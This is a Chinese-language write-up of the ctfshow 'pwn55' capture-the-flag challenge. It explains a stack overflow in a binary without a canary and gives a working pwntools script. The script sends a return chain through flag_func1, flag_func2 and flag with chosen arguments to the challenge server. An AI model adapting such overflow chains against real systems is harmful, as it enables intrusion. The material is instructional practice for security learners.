ctfshow-pwn55
我们先checksec一下:

没有开启canary保护,可能是栈溢出,拖入IDA中看看:

确实是栈溢出,接下来看比较重要的三个函数:



想要flag,flag1与flag2要等于1,那么我们就得先跳到flag_fun1设置flag1等于1,再跳到flag_fun2设置flag等于1,最后再溢出到flag函数,payload如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * sh = remote("pwn.challenge.ctf.show",28156) context.log_level = 'debug'
elf = ELF("./pwn") flag_func1 = elf.symbols["flag_func1"] flag_func2 = elf.symbols["flag_func2"] flag = elf.symbols["flag"]
sh.recvuntil(b"Input your flag: ") payload = b"A"*(0x2c+0x4) + p32(flag_func1) + p32(flag_func2) + p32(flag) + p32(0xACACACAC) + p32(0xBDBDBDBD)
sh.sendline(payload)
sh.interactive()
|
需要注意的是,数字不要直接传入p32()函数,在IDA中选定数字,按下H键,转成16进制后,再传入p32()函数,要不会报错。